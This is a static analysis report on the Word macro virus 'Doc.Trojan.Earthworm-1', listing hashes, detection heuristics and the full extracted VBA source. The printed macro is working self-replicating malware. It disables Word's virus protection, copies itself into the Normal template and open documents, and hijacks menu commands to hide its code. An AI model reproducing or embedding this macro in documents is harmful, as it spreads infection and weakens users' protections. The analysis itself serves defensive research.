Doc.Trojan.Earthworm-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 2f20168d8a0bb77f…

MALICIOUS

Office (OLE)

29.0 KB Created: 2009-08-22 11:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ab309fe23c8a2a6573c7472205993188 SHA-1: d91a976db9e916f0dd80b3145b2a4a2ea45ae0d2 SHA-256: 2f20168d8a0bb77f2be9e3776b58e578d294e171e74e0547a533897bf17eb8ab
188 Risk Score

Malware Insights

Doc.Trojan.Earthworm-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and critical ClamAV detection for 'Doc.Trojan.Earthworm-1'. The VBA script includes an AutoOpen macro that prompts the user for a 'teacher's birthday' and, if the input is 'Earthworm', proceeds to copy the macro to the Normal template and the current document. This behavior suggests an attempt at persistence and propagation, characteristic of a macro-based trojan.

Heuristics 5

  • ClamAV: Doc.Trojan.Earthworm-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Earthworm-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Application.Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1804 bytes
SHA-256: 8ae6085b0b27f6b3c442aa595f58941666b1077e5c80e20fac06f0f0ace0e2f1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Earthworm"
Public Sub AutoOpen()
On Error Resume Next
Application.Options.VirusProtection = False
Application.EnableCancelKey = wdCancelDisabled
If Month(Now()) = 5 And Day(Now()) = 10 Then
Birthday:
 If InputBox("May I know which heautiful teacher's birthday is today ?", "Happy birthday") = "Earthworm" Then
        MsgBox "Today is the birthday of the earthworm.", vbInformation, "Happy birthday"
    Exit Sub
 End If
GoTo Birthday
End If
For x = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(x).Name = "Earthworm" Then v = True
Next
If v = False Then
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Earthworm", Object:=wdOrganizerObjectProjectItems
    Application.ActiveDocument.Save
End If
For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(x).Name = "Earthworm" Then v = False
Next
If v = True Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Earthworm", Object:=wdOrganizerObjectProjectItems
    Application.Options.SaveNormalPrompt = False
End If
End Sub
Public Sub FormatStyle()
Explain
End Sub
Public Sub Organizer()
Explain
End Sub
Public Sub ToolsMacro()
Explain
End Sub
Public Sub FileTemplates()
Explain
End Sub
Public Sub ViewVBCode()
Explain
End Sub
Public Sub Explain()
MsgBox "Sorry, your word has macro virus", vbSystemModal, "Warning!"
End Sub